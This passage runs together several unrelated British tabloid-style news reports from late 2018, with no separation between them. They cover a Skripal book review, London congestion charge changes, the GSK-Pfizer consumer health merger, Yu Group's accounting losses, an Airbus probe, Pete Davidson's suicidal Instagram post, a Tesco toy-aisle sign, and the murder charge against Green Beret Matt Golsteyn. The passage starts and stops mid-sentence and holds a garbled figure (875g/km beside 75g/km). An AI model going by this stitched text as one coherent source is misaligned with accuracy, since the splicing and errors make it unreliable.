Salisbury this year. This event should properly rank more as current affairs than history, but it is just the latest phase in the lengthy spy war between the West and Russia.The Skripal Files, by Mark Urban (Macmillan 20, 320pp), who interviewed Skripal extensively before the Novichok attack on him and his daughter, gives a well-informed account of the man, his motives and the ongoing threats from Moscow. Sadiq Khan and Transport for London will phase out congestion zone exemptions for hybrid cars next year - and make owners of pure-electric models pay to drive into the capital from 2025, it has been confirmed. The London Mayor announced the changes to congestion zone restrictions to reduce traffic and improve air quality in the capital. This includes removing the congestion charge exemption for private hire cars drivers - including minicabs and Uber - from April 2019. Earlier this year, Khan revealed that he would push ahead with his controversial plan to impose the new Ultra Low Emissions Zone as far out as the North and South Circular from 2021, forcing residents owning older cars to pay 12.50 a day to drive them - at any time on any day of the year. Congestion Charge exemptions phased out: TfL and London Mayor Sadiq Khan have confirmed new Congestion Zone rules that will see owners of the cleanest vehicles charged to drive in the capital from 2025 Currently, cars which emit less than 75 grams per kilometre of CO2 are free from the 11.50 per day London congestion charge, as part of the Ultra Low Emission Discount. That will be replaced from next year as part of the mayor's new measures. In its place will be the new Cleaner Vehicle Discount, coinciding with the introduction of London's Ultra Low Emissions Zone on 8 April 2019 in the current congestion charge zone. From next year, only models that meet Euro 6 emissions standards, emit no more than 75g/km CO2 and have a minimum 20-mile zero-emissions range will be exempt from the charge. That will eliminate all hybrid cars, as well as some early plug-in hybrids - most notably the Prius and previous-generation Prius Plug-in Hybrid, both of which are firm minicab and Uber favourites. These rules will expire on 25 October 2021, when the ULEZ is also due to be extended out to the North and South Circular. Exemptions to the charge will only be granted for pure-electric cars until 24 December 2025. From that date, drivers of all vehicles, even those producing no emissions whatsoever, will have to pay a fee to drive into the centre of the capital. Under current rules, all cars emitting less than 875g/km CO2 are exempt from the charge Congestion Zone Clean Vehicle Discount in brief From 8 April 2019 to 24 October 2021: New, tighter standards will be in place for vehicles to qualify for the new Cleaner Vehicle Discount. Vehicles must: - Meet the Euro 6 emission standard - Emit no more than 75g/km CO2 - Have a minimum 20 mile zero emission capable range From 25 October 2021 to 24 December 2025: Only pure electric vehicles will be eligible for the Cleaner Vehicle Discount. All other vehicles, regardless of their emissions status, will need to pay the Congestion Charge. After 24 December 2025: The Cleaner Vehicle Discount will expire. All drivers will have to pay the Congestion Charge, unless they are registered for another discount or have an exemption. You can still apply for the ULED until 8 April 2019 if: - Your vehicle successfully meets the ULED standards - but does not meet the new, tighter, Cleaner Vehicle Discount standards - we will set up your discount and it will expire effective from 8 April 2019. From this date you will need to pay the Congestion charge - Your vehicle successfully meets the new, tighter Cleaner Vehicle Discount standards, we will set up your ULED discount and it will automatically be transferred to the new Cleaner Vehicle Discount from 8 April 2019 The tightening restrictions have come following a public consultation that received more than 10,000 responses, of which the majority backed the harsher rules for vehicles in order to 'incentivise only the cleanest vehicles to drive in central London'. Khan said during the announcement: 'Toxic air pollution in London is a major public health crisis that is stunting the lung development of our children and leads to thousands of premature deaths and increases the risk of asthma and dementia. 'We have to make tough decisions to protect the health and well-being of Londoners and tackle harmful emissions from the most polluting vehicles.' The end of exemptions for private hire vehicles - also introduced on 9 April - should see 8,000 fewer cars being used in Central London each day, TfL estimated. Taxi drivers will also be encouraged to switch to new zero emissions vehicles with new incentives. This includes a delicensing fund - providing up to 10,000 for drivers who trade in older models earlier - a 2.5million fund to help drivers of newer Euro 5 taxis convert to cleaner LPG fuel and a consultation early next year on a phased reduction in maximum taxi age limits for the dirtiest vehicles from 15 years to 12 years by 2022. 'We've prioritised cleaning up our bus fleet and the early introduction of the 24-hour Ultra Low Emission Zone in central London,' Khan added. 'Now we need private hire vehicles and taxis to play their part and help us clean up our filthy air.' The Glaxosmithkline - Pfizer merger paves the way for the break-up of Glaxo under chief executive Emma Walmsley Glaxosmithkline and US rival Pfizer are bringing some of the world's best-known healthcare brands under one roof creating a powerhouse worth up to 50billion. The two firms will merge their consumer healthcare arms, paving the way for the break-up of Glaxo under chief executive Emma Walmsley. The new company will be based in the UK and specialise in over-the-counter products such as painkillers, vitamins and toothpastes. It will bring together brands such as Glaxo's Sensodyne, Voltaren and Panadol with Pfizer's Viagra and Advil, and have annual sales of 9.8billion. Analysts said the company, which will be 68 per cent-owned by Glaxo with Pfizer taking the remaining 32 per cent, will be worth between 30billion and 50billion. Within three years of the tie-up, the business will be spun off and listed on the stock market as a separate company, marking the break-up of Glaxo. The proposals were cheered in the City, with Glaxo shares surging 7 per cent before closing up 3.8 per cent, or 54.8p, to 1503p, valuing it at 74.6billion. Walmsley said the venture could focus on consumer products while the remaining pharmaceuticals and vaccines arms would be debt-free, paving the way for a bonanza of investment. It caps an extraordinary year of deals by the 49-year-old, who has also bought American cancer drug specialist Tesaro for 4billion, sold the Indian Horlicks arm for 3billion, and sealed a buyout of Novartis' stake in a joint venture for 9.2billion part of a mission to rebuild Glaxo's pharmaceuticals business, her top priority when she took over last year. Since then she has overhauled its approach to research and carried out a massive cull of managers. Walmsley said: 'Ultimately, our goal is to create two exceptional UK-based global companies, both of which are well-positioned to deliver improving returns to shareholders and significant benefits to patients and consumers worldwide.' Walmsley said she would initially be chairman of the new consumer business, which has not yet been named, and Glaxo consumer healthcare boss Brian McNamara would be chief executive. She said it was expected to lead to 500million in cost savings but did not confirm how many job losses that included. The merger will also allow Glaxo to reduce its debts, allowing it to plough more cash into research and development of new drugs. Walmsley said the remaining pharmaceuticals and vaccines businesses would focus on science related to the immune system, the use of genetics and advanced technologies. The new combined company will have more than 10pc of the healthcare market, putting it behind just Reckitt Benckiser in over-the-counter products, according to Kantar Worldpanel. Fraser McKevitt, Kantar's head of retail and consumer insight, added: 'This is big news in healthcare and will likely shake up the market considerably.' Under former boss Sir Andrew Witty, Glaxo refused to sell its consumer arm, causing renowned City fund manager Neil Woodford to ditch his shares in protest. George Salmon, an analyst at Hargreaves Lansdown, said: 'The separation will take away the steady cash flows of the consumer business, meaning there's more pressure on the men and women in white coats to deliver the next blockbusters. Teaming up with Pfizer means GSK will become over-the-counter market leader in pretty much all major geographies around the world.' Shares in embattled gas and electricity supplier Yu Group have fallen over 22 per cent after the group issued another profit warning amid 'serious' accounting failures. On 24 October, the business-focused independent supplier announced it had uncovered 'several areas of significant concern', including the recognition of historic accrued income, impairment of trade debtors and gross margins being achieved against prior expectations. Initially, the group, which has over 7,000 corporate customers, said the accounting saga looked set to cost it 10million in profit. But, today, the firm admitted the hit will be between 2.75million and 3.25million more than expected. Extra hit: Yu Group said today that the fallout from its accounting saga will cost it a further 2.75-3.25m more than expected The group is now expecting to slump to an annual loss of between 7.35million and 7.85million. Ralph Cohen, non-executive chairman of Yu Group, said: 'The events of recent weeks have been deeply distressing for the shareholders, directors and for all of the Company's stakeholders. 'The Review has confirmed serious historic failures in the systems and processes within the Group's finance function. 'These are now being addressed by our new Chief Financial Officer, who is implementing all necessary improvements. 'It will take time for these measures to produce their full results and for unsatisfactory sales contracts to time-expire. 'While the task ahead is daunting, I have every confidence that the entire Yu Group team will face it with a determination to achieve the desired results and to restore the fortunes of the Company.' Yu Group's share price is currently down 22.29 per cent or 17.5p to 61p. Share price: Yu Group's share price is currently down 22.29 per cent or 17.50p to 61.00p Expected loss Yu Group is now expecting to slump to an annual loss of between 7.35million and 7.85million After conducting an internal investigation into its finances, Yu Group subsequently hired law firm DLA Piper and accounting giant Pwc. It is the findings of these third parties which triggered today's announcement. On Wednesday, Yu Group announced that the Financial Conduct Authority plans to launch an investigation into the accuracy of the group's announcements between 6 6 March and 24 October this year. Yu Group said: 'The Group plans to work collaboratively with and cooperate fully with the FCA in its enquiries.' Why is what's happening at Yu Group important? This has not been a good year for small energy suppliers, or their customers. In the year to date, eight small energy providers have collapsed, including Future Energy, Iresa Energy, Gen4U, Usio Energy, Extra Energy and OneSelect. Most customers of these now defunct firms will have been automatically transferred to a new supplier. This is because regulator Ofgem steps in and provides a 'supplier of last resort'. According to watchdog Ofgem, over half-a-million homes have now been hit by the collapse of nine small-name energy firms since November 2016. Yet increasing numbers of households continue to switch away from the largest six providers to save on their bills almost five million have switched to smaller suppliers this year alone. Yu Group supplies gas and electricity to over 7,000 small and medium sized businesses across the UK, who were invariably attracted to the group by competitive rates. While there is no indication at present suggesting Yu Group is on the brink of collapse, its woes and connections to small businesses, are troubling given how this year has panned out for the sector. Airbus shares fell as much as 6 per cent amid reports the US authorities are investigating alleged corruption Airbus shares fell as much as 6 per cent amid reports the US authorities are investigating alleged corruption at the European aerospace and defence company. French newspaper Le Monde reported that the US Department of Justice had told Airbus about the probe in the summer. The Serious Fraud Office is already investigating allegations of fraud, bribery and corruption in Airbuss civil aviation group, while French authorities are looking into the use of agents to win contracts. Airbus could face fines of several billions euros, Le Monde reported. In a tweet Airbus chief executive Tom Enders said: Im not surprised to see some more sniping out of Paris. Some people over there just dont get it. Otherwise nothing new, investigation ongoing. The Department of Justice declined to comment. Pete Davidson is claiming to have been ignored by his inner circle, including colleagues at Saturday Night Live, and now believes they don't care if he lives or dies, it has been reported. According to sources cited by TMZ, Davidson, 25, is in a 'dark place' after posting a worrying note on Instagram on Saturday where he said he 'did not want to be on this earth.' The cry for help prompted a fever of concern from fans and the comedian's famous friends and exes including his former fiancee, Ariana Grande, who rushed to his 30 Rock office to check on him after he posted it. Davidson has not been seen since he made the post and he has now deleted his Instagram account. The sources say that despite the fact SNL executives including Lorne Michaels are now trying to arrange care for Davidson, he felt they ignored his pain when he sought their help. The comedian, who has been open in the past about his depression struggles, 'reached out' then 'lashed out'. A source close to the show however told DailyMail.com that all of SNL's crew had been 'incredibly' supportive of the comedian. Scroll down for video Pete Davidson (left on Saturday after his worrying Instagram post) believes his inner circle, including his Saturday Night Live colleagues, 'don't care if he lives or dies', according to sources. Davidson is shown left on the show on Saturday after failing to show up for rehearsal and behaving erratically. Lorne Michaels, the show's executive producer, is reportedly trying to arrange treatment for him but has pulled his sketches It was previously reported that producers were determined to get Davidson help after he missed rehearsal for the show on Saturday then behaved erratically after introducing Miley Cyrus to the stage. 'The decision was taken to give Pete a break on Saturday night his sketches were dropped before the early evening rehearsals. 'Lorne has pledged to help all he can, including sending Pete to get help. 'Everyone on the cast is hugely protective of him and were obviously upset - particularly Colin Jost and Michael Che on Weekend Update,' a source told Page Six. It is unclear from the report if his ex-fiancee, Ariana Grande, is one of the people Davidson feels has not been there for him. Grande rushed to her ex's New York City office last week after seeing the post on Instagram but he refused to see her. The pair broke up acrimoniously earlier this year but have since both publicly tried to make amends. Davidson has spoken openly in the past about his struggles with depression. Worrying: On Saturday, Davidson penned this harrowing message in a since-deleted post on Instagram which terrified his friends, family and fans Davidson alerted security 'to hold his ex-fiancee at bay' when he learned the pop she was on her way, according to TMZ. Helpless, Grande took to Twitter to let him and her millions of followers know she was there. 'I'm downstairs and I'm not going anywhere if you need anyone or anything. 'I know u have everyone u need and that's not me, but i'm here too. I really didn't mean any harm. all i want everyone to be healthy and happy. so desperately. please. my god,' she tweeted. She and Davidson broke up a month after her ex-boyfriend before him, Mac Miller, died from a drug overdose. Davidson posted the worrying cry for help on Saturday then deleted his entire account. It read: 'I really don't want to be on this earth anymore. I'm doing my best to stay here for you but I actually don't know how much longer I can last. Davidson's ex-fiancee Ariana Grande rushed to New York when she saw the Instagram post but he would not see her Grande took to Twitter after being banned from entering the 30 Rock building to tell Davidson and her fans that she was there for him 'All I've ever tried to do was help people. Just remember I told you so.' Davidson's friend, rapper Machine Gun Kelly, rushed to be by his side when he saw the post. He later said he was going through a 'weird time' He concluded with a heart emoji. The NYPD sent an officer to SNL's studios in Manhattan to ensure the star was present and not in distress. Separately, an NBC staffer called the NYPD to confirm that Davidson was in fact in the building and 'fine.' Davidson made a brief appearance in the live taping of SNL to introduce musical guest Miley Cyrus that night but has not been seen since. He had missed rehearsal then sat in his dressing room in pajamas, behaving erratically and asking crew members for hugs, according to sources. Since October, he and Grande have broken up and he has faced a huge public onslaught of criticism for making fun of war hero congressman Dan Crenshaw for his eye patch. Crenshaw forgave him afterwards and was among those who called the star to check on him after seeing his Instagram post. Davidson has a history of mental health problems that he has been very open about. The actor told Teen Vogue in August, 'I've been in and out of mental health facilities since I was nine,' adding he had made a suicide attempt in the past. His father, a New York City firefighter, died during the terrorist attacks on 9/11. Dan Crenshaw, a war hero congressman who Davidson mocked earlier this year, said he called the 25-year-old to check on him after seeing the post When he was in high school he was diagnosed with Crohn's disease and started smoking marijuana to relieve some of his symptoms. The star went to rehab twice where it was discovered he had bipolar disorder. 'The last few years have been real rough with me. I took all these mental health classes and really spent a lot of time getting me good,' he told the magazine. If you need help, contact Samaritans USA (http://www.samaritansusa.org/) or jo@samaritans.org in the UK Customers have accused Tesco of sexism after it created a segregated aisle for girls' toys. A shopper called out the supermarket giant for 'gender bias' after spotting the 'Girls Toys' sign in the Tesco Extra store in St Leonards on Sea, East Sussex. And social media users have now slammed the store for both sexism and poor grammar, noting workers failed to use an apostrophe in the sign. Rob Lowe called out the supermarket giant for 'gender bias' after spotting the 'Girls Toys' sign Hundreds of social media users waded into the debate - accusing Tesco of both sexism and poor grammar Rob Lowe took a picture and posted the image online with a complaint about 'gender bias'. But many pointed out that there should be an apostrophe after the 's' in the plural possessive, 'Girls' Toys'. Mr Lowe took the picture on December 9 and posted it with the caption: 'Come on Tesco. This isn't really acceptable anymore. 'My daughter loves unicorns and dolls. She also loves robots, dinosaurs, rockets, monsters and Lego. Don't make me have to reassure her that this is ok.' Television writer Donna Franceschild claimed the lack of an apostrophe was further evidence of sexism. She tweeted: 'Plus, how is she supposed to get to grips with English grammar if Tesco omits the crucial apostrophe indicating the possessive? 'Perhaps they don't think girls should be worrying their pretty little heads about that.' Rob said he was 'frustrated' with the apostrophe 'because it distracts from the real issue of gender bias in society'. He added: 'Boys and girls are encouraged to perform certain roles and seemingly small things like signs, toys, colours and clothes make a real difference to their life choices.' The sign was spotted in the Tesco Extra store in St Leonards on Sea, East Sussex Hundreds of people on Twitter waded into the debate. @lonearrangeruk responded: 'More concerned about the lack of apostrophes then any other feigned outrage. Seriously. Do you think they have patrols on the aisles? @steeliebobs wrote: 'Yes, it's absolutely disgraceful. The world's gone mad, where the heck is the damned apostrophe?' @mike36l posted: 'Well said Rob if they just left the sign saying toys it would have been acceptable for all.' @mamtasinghal2 added: 'They are just toys. We don't want gender specific toys.' @Brown1977Ben said: 'I agree couldn't they have put toys instead of making it a boy or girl thing.' @KateLlewellyn1 wrote: 'As a girl whose favourite toys have always been game boys, playstations etc. This needs to stop. Girls' toys aren't as fun anyway.' A Tesco spokesman said: 'We agree toys are for everyone and removed the 'Girls' Toys' and 'Boys' Toys' signage from our stores several years ago but it appears that this one was missed. We will have it changed to the new signage as soon as possible.' A Green Beret charged with murdering a suspected Taliban bomb-maker but hailed a 'hero' by Donald Trump killed him at the end of four battle-scarred days and after vowing revenge for two fallen comrades, military documents reveal. Matthew L. Golsteyn said he killed a Taliban bomb-maker in cold blood in a shallow grave, dug it up under cover of darkness and burned the corpse on a forward operating base manned by Marines and Green Berets, official documents have disclosed. President Trump said on Sunday that he will be 'reviewing' the case of the special forces veteran, after the officer's family spoke out about the decision that he could face a court-martial for the killing. 'At the request of many, I will be reviewing the case of a ''U.S. Military hero,' Major Matt Golsteyn, who is charged with murder,' Trump tweeted. 'He could face the death penalty from our own government after he admitted to killing a Terrorist bomb maker while overseas.' Deployed: Matt Golsteyn was a captain in the Green Berets when he was deployed to Afghanistan, where he both won a Silver Star, and - he confessed - killed a suspected Taliban bombmaker. He had trained local forces and even dressed in local garb (left) Intervention: How Donald Trump reacted to the revelation that Golsteyn was facing a capital murder charge at court martial almost nine years after the killing Family: Julie Golsteyn, with whom Matt has two young children, told Fox & Friends on Sunday that the family were being 'torn apart' by the murder charge Golsteyn, 38, has admitted to the killing but until now had not faced military justice. His first admission was in a polygraph test during a CIA job interview in 2011 and then again in an on-camera interview with Fox News in 2016 recounting his experience in battle. Now Golsteyn is formally accused of fatally shooting 'a male of apparent Afghan descent known as Rasoul' on February 22, 2010, near Forward Operating Base McQuery in Marjah, Afghanistan. The dead man's age has not been disclosed, nor has where he was from. Many Afghans use only one name although it is unclear if this is the case for Rasoul or whether his full identity has not been disclosed either. The killing took place after two Marines died in an IED attack and Rasoul was brought in as the suspected bomb maker. In between those two events, Golsteyn defeated 50 Taliban in a four-hour battle which earned him a Silver Star. But his CIA confession helped have him stripped of his medal and discharged from the Army with a finding of conduct unbecoming of an officer. His 2016 admission prompted a new probe, and he was recalled to duty and charged with murder - a capital offense for soldiers - last Friday, prompting a public outcry. On Sunday, Golsteyn's wife, Julie, told Fox & Friends that her husband was being 'ripped apart by his own government and the Army leadership.' Golsteyn told NBC on Monday that he would never have been charged had he not talked to Fox in 2016 about military rules of engagement. Here is how four days of intense fighting in Helmand province in February 2010 came to haunt Golsteyn - and could yet see him sentenced to death. HOW THE 'ENERGIZER BUNNY' LED ALPHA-3121 AT THE SPEARHEAD OF THE BATTLE OF MARJAH - AND PROMISED REVENGE FOR HIS FALLEN MEN Golsteyn was thrust into the crucible of the war with the Taliban when he was deployed to Helmand Province, at the head of Alpha-3121, Bravo Company, 1st Battalion, 3rd Special Forces Group. February 2010 saw the biggest single operation against the Taliban ever: Operation Moshtarak - meaning Operation United in Dari, the local language - a 15,000-strong assault on the fundamentalists' stronghold of Marjah. In scale and scope it was unprecedented: on the ground U.S. Marines and special forces, British and Canadian soldiers and the Afghan National Army would mount a full-frontal assault on strongly-held Taliban positions, with massive U.S. and allied airpower raining down air strikes from above. Alpha-3121 was a tiny component but at the tip of the spearhead as the allies pounded their way into Marjah, and 'Energizer Bunny' Golsteyn was leading his 11 Green Berets alongside combat-hardened Marines. It was on February 18, five days after D-Day, that Golsteyn's men started to pay the price of war. ODA-3121 was fighting its way through a bazaar in a joint effort with Marine engineers and Afghan commandos, with the last Taliban-held crossroads as their objective. Target Marjah: The town in Helmand province had become a Taliban redoubt and in February 2010, 15,000 allied troops with air support attacked to remove the enemy Casualties: Marines Sergeant Jeremy McQueary (left) and Lance Corporal Larry Johnson (right) were killed by an IED as the unit fought it way through a bazaar Reality of war: Marines - in this case form a different unit - and Green Berets found themselves in fierce combat through difficult terrain, huddling behind walls and making barriers from boulders as they fought their way into Marjah to depose the Taliban Into battle: U.S. Marines with a different unit from Golsteyn's in action in Operation Moshtarak just days before his own men fought their way into enemy territory. A total of 15,000 men were deployed in the massive push through terrain criss-crossed by canals and ditches and covered in IEDs As the joint unit went to clear a building, a booby-trap bomb exploded. It was hidden in the door of a shop being used to store Taliban explosives. Two Marines from 3rd Platoon, Bravo Company, 2nd Assault Amphibious Batallion, - Lance Cpl Larry Johnson, 19, and Sgt Jeremy McQueary, 27, - and two Afghan soldiers were killed, while five more Marine engineers were injured. Five of the killed and wounded were from a single platoon of 30 Marines. It was a devastating blow and Golsteyn was desperate, first, to save the lives of the injured. A senior medic, who was with Golsteyn that day, said the commander was constantly running back and forth from the roof of the compound being used as a base to the ops center, coordinating air strikes and medical evacuation for the Marines killed in action and those injured. 'His tireless efforts and expert leadership saved several friendly lives that day and prevented further direct fire attacks on Thunderdome [the base],' he said. But with the injured evacuated, Golsteyn contemplated the loss. Bing West, a Vietnam veteran and acclaimed author of books on military operations, was accompanying Golsteyn's unit at the time. He wrote about the incident in 'The Wrong War: Grit, Strategy, and the Way Out of Afghanistan.' 'Matt brought out a bottle of Jack Daniel's. 'I kept this for a special occasion,' he said. ''A toast to our lost brothers.' Each took a swallow and passed the bottle to the next Marine or soldier.' One sergeant later told Army investigators he believed Golsteyn felt 'responsible for the Marines who were killed and injured during combat operations'. Another told investigators that Golsteyn was 'pacing' after the Marines were killed. Golsteyn told him he would 'capture whoever did it' and 'kill them'. 'I have one command, all of you,' Matt said to one of the Marine. 'You'll be with me when we get that bomb maker.' Golsteyn 'beat himself up emotionally over the death of Sgt McQueary and Lt Cpl Johnson,' another comrade told investigators. UNDER FIRE AGAIN - HOW GOLSTEYN EARNED THE SILVER STAR FOR FOUR HOURS OF COMBAT AGAINST A DEADLY ENEMY The battle of Marjah was hardly over though - and two days later Golsteyn was in the thick of battle again. Two days later, as he and his Alpha-3121 huddled at what was them known as Thunderdome but was quickly named Forward Operating Base McQueary for the fallen Marine. It was a fortification improvised from local buildings on the outskirts of Marjah, with lookouts in the 'crow's nest' on the third story. When they came under accurate sniper fire, it was clear that a deadly team of Taliban snipers was in operation and Golsteyn made it his mission to take them out. He assembled a patrol of more than 80 men - his own Green Berets, Marines, and Afghan National Army (ANA) soldiers - with five armored vehicles to track down the enemy fighting positions. The troops headed out over sodden poppy fields with no cover, facing 700 yards of open ground to get to the snipers' lair. Vulnerable base: This is FOB McQueary, an improvised fortification which came under Taliban sniper fire two days after the death of two Marines left then Captain Golsteyn devastated Threat: Golsteyn moved his men beyond these walls to counter a Taliban sniper nest and ended up in a four-hour pitched battle, at times looking like he was fighting single-handed as his 80 men were pinned down by intense machine gun and AK-47 fire Stuck and in danger: An MRAP - Mine Resistant Ambush Protected- vehicle like this became disabled in a canal as Golsteyn led his men forward. He got them away from it, then ran back and grabbed the Carl Gustav weapon on board which he used to deadly effect Before even making it 100 yards towards the Taliban position, they came under heavy machine gunfire and 75 yards further forward, one of the heavy MRAP mine-roof vehicles became stuck in the mud. Facing being pinned down, Golsteyn got the Afghan soldiers - whose units had become notorious for running away from the Taliban - to take cover in an irrigation canal, and got one platoon to provide covering fire as he moved the rest of his detachment towards enemy lines. It was then an Afghan soldier was hit and sensing a victory, the Taliban increased fire. Golsteyn ran 150 yards to the stranded MRAP and grabbed its most potent weapon - a Carl Gustav recoilless rifle - which to ordinary eyes looks like a rocket launcher. As he ran he called in a medical evacuation for the wounded soldier and then started talking to the air controller in the crow's nest of the base. From the base, the Marine officer could see that there were at least 30 Taliban, that 80 allied troops were pinned down - and that Golsteyn was running along through enemet fire. 'It looked like Captain Golsteyn was alone fighting 30 enemy fighters out in the poppy fields,' the citation for his military honor read. When the medical evacuation team arrived to get the casualty to the base safely, Golsteyn stood up in plain view of the Taliban to fire his Carl Gustav at their positions. 'One of these Gustav rounds went through a doorway of a compound that was a source of heavy fire at a range of 400 meters [435 yards] stopping the enemy fire,' the citiation read. 'This action created a brief lull in all enemy activity, which enabled the detachment's medic to safely treat and transport the wounded ANA soldier back to the rear.' Open terrain: Golsteyn led 80 men, almost all of them on foot, across this kind of landscape beside FOB McQueary, finally defeating more than 50 Taliban and earning the Silver Star. 'It looked like Captain Golsteyn was alone fighting 30 enemy fighters out in the poppy fields,' the citation for his military honor read. Deadly weapon: A training exercise shows the size of the Carl Gustav which Golsteyn used - and how he had to stand to fire it. The recoilless rifle looks like a rocket launcher but fires a large round of huge destructive power. Golsteyn moved under Taliban fire holding it and his M-4 rifle, calling in airstrikes at the same time Fire support: A Marine mortar unit fire on Taliban positions in Marjah. Similar tactics were deployed as Golsteyn called in support to defeat more than 50 Taliban fighters, earning him the Silver Star His standard issue M-4 assault rifle in one hand and the Carl Gustav in the other, Golsteyn led the men on under intense machine gun and AK-47 fire. With between 300 and 400 yards to go to reach the enemy position, they were pinned down again - and this time Golsteyn exposed himself to Taliban fire to get an accurate location for their position and call in waiting F/A-18 Hornets for airstrikes. They unleashed two 500lb smartbombs, taking out one enemy position and killing at least five Taliban. But the danger was not over - more enemy were massive at a nearby crossroads and unleashed machine gun fire on the U.S. and Afghan forces. Golsteyn, still clutching his Carl Gustav, ran more than 200 yards to where he could fire it at the Taliban, at the same time talking to base controllers to call in more airstrikes and deploy mortar rounds. He fired the Carl Gustav and the Marines followed up with more than 30 mortar rounds, and then a Preador drone fired a Hellfire missile, guided by Golsteyn, on the same position. The devastating display of air power finally crushed the Taliban and the patrol headed back to base - confident that the sniper's nest they had set out to destroy was gone. When he returned to the U.S. from deployment, he was awarded the interim silver star for his 'heroic behavior and valor in front of his 80-man patrol during the four grueling hours of heavy combat with a determined enemy force'. 'His razor sharp focus and emotionless decision-making under extreme duress kept the combined patrol a step ahead of a skilled and prepared enemy,' the citation rad. 'His decisions prevented the loss of aircraft and vehicles, saved the life of an ANA soldier, and avoided significant additional casualties. 'Despite a barrage of enemy fire from multiple locations, casualties, continuous contingency planning, known IED and sniper threats, and the opposition of over 50 enemy fighters, Captain Golsteyn led a mission that handed the enemy in Marjeh a devastating loss of fighting positions and personnel.' His superiors recommended that it be upgraded to a Distinguished Service Cross. HOW A CLEAN-UP OPERATION TURNED TOXIC FOR ALPHA-3121'S LEADER Two days after the four-hour battle Golsteyn effectively won single-handedly, his men were still in Marjah, going door-to-door to flush out the remnants of the Taliban. One unit captured a man, named Rasoul, in the house where the IED had detonated and killed their Marines. He was believed to own the components used to make the IED, a potentially deadly assembly task which required a lot of skill. He was brought back to FOB McQueary. One Marine later said that it was rare to capture enemy personnel. 'I can only think of one time we picked up a couple of guys, we suspected them of being snipers and they got released a couple of days later,' he said. The Marine said they didn't know their enemy's faces because the Taliban fighters mostly took pot shots at the base from 400-500 yards away. But this time they thought they had confirmation: a 'walk-in', a new tribal leader who wanted to be on the Afghan government side had told Golsteyn that Rasoul was a bombmaker. The last tribal leader had been killed. The tribal leader told Golsteyn that 'Rasoul' was 'known for fighting alongside the Taliban'. The name of the tribal elder was not well-known but he had come for dinner once and 'Matt met with him on a regular basis', one soldier later said. It also appeared that Golsteyn trusted the tribal elder as in the past he had provided intelligence which saved lives and prevented attacks. One Marine detailed the brief detention of the suspected bomb-maker to investigators. Making friends: The 'walk in' tribal leader who told Golsteyn that the captured Afghan was a Taliban bombmaker had previously shared a meal with the Green Beret officer. Golsteyn had made friends with other local tribal leaders, including this man 'I don't remember how long after the engagement it was, someone was picked up on patrol. I was told about him by someone, it could have been [Golsteyn], that the person was being guarded at the mosque,' the Marine said. 'When I went to meet the person I started out with basic biographical information but he didn't say a single word the entire time he was there.' The Marine said that he wasn't the only one to interview the alleged bomb-maker and believed Golsteyn also interviewed the man. Interviews with the 'bad guys' were standard procedure 'every other day'. 'I guess when his time was up, we couldn't keep him any longer I believe, Golsteyn told me to release him. I walked him out the gate and told him to walk down the road and not come back. 'It was never proven that he was an IED builder,' the Marine added. The Marine said that when they were forced to release suspected Taliban fighters due to lack of evidence, they turned the men over to the Afghan Army 'who would I guess prosecute them the Afghan way. I know one guy was taken out of the city, I'm pretty sure by them.' One soldier said he did not remember any names of any insurgents, but was aware Golsteyn had lists of contacts of interest in the area. Another said he had also interviewed the suspected bomb-maker sometime after the firefight but was unable to obtain any information because the Afghan refused to speak. Scene of crime? Army investigators returned to FOB McQueary, scene of the interrogation and the corpse burning described by Golsteyn, after it had fallen out of use. Golsteyn's comrades said he could not have left it to dig up the corpse at night without them knowing Burn pit: This was the remains of one of the pits examined for evidence of a burned corpse by Army investigators. The search was fruitless and the medic who was at FOB McQueary when Golsteyn said he burned the suspected bombmaker's corpse said he never smelled flesh But then something bad happened: before the tribal leader who provided the intelligence could leave the base, the suspected bomber recognized him. The leader feared retribution on him and his family. But with no legal reason to detain the suspect, Golsteyn took the man 'back to his residence' he would tell a CIA job interview - and kill him. What he told the CIA is contested: their records say he used the word 'assassinated'; Golsteyn denies using that term. The commander only took one person along with him to limit who would get into trouble, according to military documents. Golsteyn and another soldier buried the man in a shallow grave and went back to the base. When darkness fell, Golsteyn and two other Green Berets went back to the grave site and dug up the body. They brought the corpse back to the camp and burned it, according to military filings. One Marine said that a burn pit on the base was used 'probably every day. There were 8 team guys [Green Berets] and thirty Marines.' He added: 'It was smoldering most of the day every day' and that it was not be unusual to use the burn pit late at night.' It was normally used to dispose of latrine waste and anything which could be used by the enemy and occupied a 4ft by 4ft hole dug two feet into the ground 60 feet from the main building of the base. The Marine told investigators it would have been possible to kill someone and burn them on the base at night, because 'most of our missions were conducted during the day because the Afghans don't have night vision, so at night most of the guys are sleeping'. Another Marine, a medic, questioned on the burn pit said he had never smelled burning flesh. In a tragic footnote typical of life in Helmand, the tribal leader who had identified Rasoul was killed by the Taliban weeks later. HOW GOLSTEYN'S CONFESSION THAT HE KILLED THE 'BOMB MAKER' CAME BACK TO HAUNT HIM After returning to Fort Bragg, North Carolina, Golsteyn - then a captain - interviewed for a position at the CIA in September 2011. The role has not been disclosed. During a polygraph test, he admitted for the first time to the killing of Rasoul. Golsteyn told the interviewers that he had 'no qualms' about it because 'he couldn't have lived with himself if [redacted] would have killed another Soldier or Marine'. He said that 'countless times before he detained someone and sent that person to a detention facility only to see that same person shooting at his unit weeks later.' The CIA notified the Department of Defense and the Army Criminal Investigation Command (CID) launched an enquiry into Golsteyn in October 2011. U.S. Army investigators extensively interviewed soldiers and attached personnel from Golsteyn's base but specifics on the alleged murder remained hazy. The majority of those interviewed - whose names were all redacted in publicly released files - denied any knowledge of the killing and were skeptical to investigators that logistically, it could have even taken place. Golsteyn would not give up the names of the soldiers or Marines that he had involved. Golsteyn was a 'Type-A personality and could be very aggressive at times', according to one senior officer. One Marine even denied that the unit ever conducted any missions that were geared toward capturing or killing enemy personnel. He said he had never observed any unprofessional behaviour from Golsteyn and was unaware if he had any mental health problems. He also refuted the idea that it was common practice to embellish war stories in his unit - a question apparently asked in case Golsteyn would use that as a defense. Another soldier stated that '[Golsteyn] was an outstanding leader and he would have been unable to conduct the actions of killing an insurgent and burning his body on the installation without the rest of the team being notified.' He said he had not been asked to stay silent by anyone in his chain of command or unit. The medic who operated the burn pit told investigators that he had 'never seen or heard of inappropriate or unethical decisions or actions of [Golsteyn] and related he was an exceptional leader'. When asked of he knew about Golsteyn shooting an unarmed male, the medic replied: 'Absolutely not' and added: 'I have a hard time believing that such an incident ever occurred. I further find it hard to believe Matt Golsteyn would do that. 'The only reason I could possible conceive him doing something like that is if he felt his men's lives were at direct risk.' Confession: This 2016 interview with the then honorably discharged Matthew Golsteyn led to a fresh investigation into his confession He described Golsteyn as a 'good friend and comrade to this day'. During the course of the investigation, 